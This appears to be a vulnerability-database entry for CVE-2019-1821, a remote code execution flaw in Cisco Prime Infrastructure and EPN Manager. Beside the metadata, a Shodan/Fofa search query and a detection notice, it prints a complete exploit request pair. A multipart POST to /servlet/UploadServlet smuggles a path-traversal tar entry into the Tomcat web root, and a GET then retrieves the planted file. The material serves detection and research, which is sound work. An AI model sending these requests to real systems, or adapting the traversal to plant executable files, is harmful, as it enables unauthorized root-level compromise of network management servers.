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CVE-2019-1821: Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution

TitleCisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution
Author_0xf4n9x_
SeverityCritical
ImpactAuthenticated attackers can upload malicious files to execute code with root-level privileges on the underlying operating system, leading to complete system compromise and potential network infiltration.
RemediationApply the latest security patches provided by Cisco to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94044
CVE IDCVE-2019-1821
CWE IDCWE-20
Shodan Queryhttp.title:"prime infrastructure"
Fofa Querytitle="prime infrastructure"
Tags cve cve2019 packetstorm rce fileupload unauth intrusive cisco vkev vuln

🔍 Vulnerability Description

Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.

🌐 HTTP Request

POST /servlet/UploadServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Content-Length: 292
Accept-Encoding: gzip, deflate
Compressed-Archive: false
Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83
Destination-Dir: tftpRoot
Filecount: 1
Filename: test.tar
Filesize: 10240
Primary-IP: 127.0.0.1

--871a4a346a547cf05cb83f57b9ebcb83

Content-Disposition: form-data; name="files"; filename="test.tar"



../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar  0000000000000038FXtYHBey4wkKJ14Mh3YUpll4y

--871a4a346a547cf05cb83f57b9ebcb83--
GET /test.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-1821.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-1821.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A